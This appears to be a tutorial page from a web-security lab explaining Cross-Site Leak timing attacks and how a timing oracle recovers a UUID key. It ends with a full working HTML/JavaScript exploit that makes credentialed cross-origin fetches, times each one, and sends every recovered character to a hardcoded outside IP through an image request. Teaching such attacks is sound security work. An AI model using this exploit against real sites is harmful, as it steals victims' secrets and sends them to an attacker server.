Skip to main content

Cross-Site Leak Vulnerability

A Cross-Site Leak (XS-Leak) is a browser side-channel vulnerability where an attacker cannot directly read cross-origin responses, but can infer sensitive information indirectly by observing measurable differences in how the browser behaves.

Unlike XSS or CSRF:

  • No direct access to response body
  • Same-Origin Policy is still enforced
  • Information leaks via timing, size, errors, redirects, cache behavior, etc.

Why XS-Leaks exist​

Modern browsers block cross-origin reads, but they still allow:

  • Requests to be sent cross-origin
  • Some observable side effects:
    • Load time
    • Redirect behavior
    • Resource existence
    • Cache hits/misses
    • Error vs success handling

XS-Leaks exploit what the browser reveals indirectly, not the response itself.

Core idea​

The vulnerable application:

  • Responds differently depending on secret data
  • Differences are observable from the victim’s browser
  • Most commonly: time-based differences

The attacker:

  • Sends requests that depend on a guessed value
  • Measures how long the request takes
  • Uses timing differences to reconstruct a secret

Why timing works here​

The target endpoint:

  • Checks a secret (UUID)
  • Performs more work when a prefix matches
  • Responds slower when guess is correct

This creates a timing oracle:

GuessServer behaviorObserved time
Wrong prefixFast rejectFast
Correct prefixDeeper checkSlow

Exploitation Algorithm​

  1. Start with an empty prefix
  2. For each character in the charset:
    • Build URL with ^prefix + candidate
    • Measure request time
  3. If request is slower than baseline:
    • Character is correct
  4. Append character to prefix
  5. Repeat until full UUID (or whatever is the secret to exfiltrate) is recovered

The Attack​

The exploitation of this issue will require us to create a single HTML page and get the victim to visit it. Your page can rely on a call to performance.now() before and after the loading of the URL to see if a character is part of the key. Make sure you use a caret (^) to ensure your search is looking for the first character(s) in the key.

The set of characters used in the key is: 0123456789-abcdef (the key is a UUID). To write your payload, you should create a key and attack a user you created first. Then you can exploit the victim. Since the payload is based on a time comparison, you may have to try the same payload multiple times. Thankfully, the algorithm you use should allow you to easily resume the attack.

<!DOCTYPE html>
<html lang="en">
<head>
<title>XS Leaks</title>
</head>
<body>
<script>
var all = "0123456789-abcdef".split(""); // character set for our secret (uuid format key in our case)
var base = "http://ptl-a03495dea401-b80a56079ec3.libcurl.me/search?search=^";
var counter = 0;
var cur = "";

function check(cur, counter) {
url = base+cur+all[counter];
var val = cur + all[counter];
v = performance.now();
fetch(url,
{ method: 'GET', credentials: 'include', mode: 'no-cors' }
).catch(err => {
console.log("fetch error" + val);
}).then(response => {
z = performance.now();
if (z-v < 3000) {
document.write("<br/>INVALID CHAR: " + val + (z-v).toString());
} else {
document.write("<br/>FOUND CHAR: " + val + (z-v).toString());
document.write("<img src='http://129.154.241.42:5959/?leak=" + val + "' />");
j=0;
while (j < all.length) {
check(val, j);
j+=1;
}
}
})
}

i = 0;
while(i < all.length) {
setTimeout(check("", i), 500 * i);
i+=1;
}
</script>
</body>
</html>